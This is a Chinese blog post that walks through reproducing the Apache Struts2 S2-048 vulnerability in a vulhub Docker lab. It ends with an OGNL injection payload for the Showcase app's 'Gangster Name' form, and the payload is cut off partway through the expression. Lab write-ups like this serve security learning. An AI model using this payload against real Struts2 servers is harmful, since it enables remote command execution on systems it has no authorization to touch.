struts2 s2-048漏洞复现

最新推荐文章于 2024-09-11 17:16:14 发布

wodepzw

最新推荐文章于 2024-09-11 17:16:14 发布

阅读量452

点赞数 1

分类专栏：漏洞复现

本文链接：https://blog.youkuaiyun.com/wodepzw/article/details/103141431

版权

在Docker环境下，通过vulhub靶场进行Struts2 S2-048漏洞的复现。首先启动docker服务和靶场环境，然后访问特定URL。漏洞存在于Integration/Struts 1 Integration部分，通过输入特定POC（Payload of Concept）在Gangster Name表单触发OGNL表达式，实现执行系统命令。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

我在docker中搭得的vulhub靶场
1.开启环境
命令
开启docker ：service docker start
启动环境：docker-compose up -d
2.环境启动好后访问http://your-ip:8080/showcase/
在这里插入图片描述
3.这个漏洞在integraton下的struts1处

4.访问Integration/Struts 1 Integration：

在这里插入图片描述
5.触发OGNL表达式的位置是Gangster Name这个表单，在此处填写poc即可
poc:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUti